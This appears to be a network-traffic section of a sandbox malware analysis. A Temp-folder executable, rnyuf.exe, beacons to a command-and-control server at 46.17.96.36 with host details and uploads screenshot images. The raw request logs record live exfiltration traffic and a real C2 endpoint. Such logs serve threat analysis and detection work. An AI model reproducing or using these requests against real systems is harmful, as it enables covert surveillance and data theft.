Aug 29, 2021 22:29:01.327608109 CEST	17593	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:01.407247066 CEST	17594	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.4	50028	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:01.473150015 CEST	17594	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:01.473251104 CEST	17594	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:01.473432064 CEST	17605	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:01.473587036 CEST	17607	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:01.508203983 CEST	17610	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:01.508256912 CEST	17615	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:01.508271933 CEST	17621	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:29:01.508476973 CEST	17627	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:29:01.508594990 CEST	17633	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:01.543267012 CEST	17635	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:29:01.543330908 CEST	17638	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:29:01.651422024 CEST	17703	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49764	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:23.407380104 CEST	4149	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:23.407491922 CEST	4149	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:23.407664061 CEST	4159	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:23.407897949 CEST	4162	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:23.440829992 CEST	4165	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:23.440922976 CEST	4168	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:23.440943003 CEST	4182	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:23.441199064 CEST	4185	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:23.441396952 CEST	4188	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:23.477045059 CEST	4193	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:23.477122068 CEST	4196	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:23.582016945 CEST	4257	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.4	50029	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:01.656148911 CEST	17704	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:01.727782965 CEST	17704	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.4	50030	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:01.955693007 CEST	17705	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:02.031804085 CEST	17744	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.4	50031	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:01.970772028 CEST	17705	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:01.971040964 CEST	17705	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:01.971220970 CEST	17715	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:01.971292019 CEST	17718	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:02.003413916 CEST	17721	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:02.003597021 CEST	17724	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:02.003640890 CEST	17726	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:29:02.003901958 CEST	17738	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:29:02.003964901 CEST	17744	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:02.036786079 CEST	17747	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:29:02.036823034 CEST	17755	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:29:02.137404919 CEST	17814	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.4	50032	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:02.216598034 CEST	17814	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:02.287879944 CEST	17815	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.4	50033	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:02.523885965 CEST	17816	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:02.523971081 CEST	17816	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:02.524322033 CEST	17826	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:02.524432898 CEST	17829	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
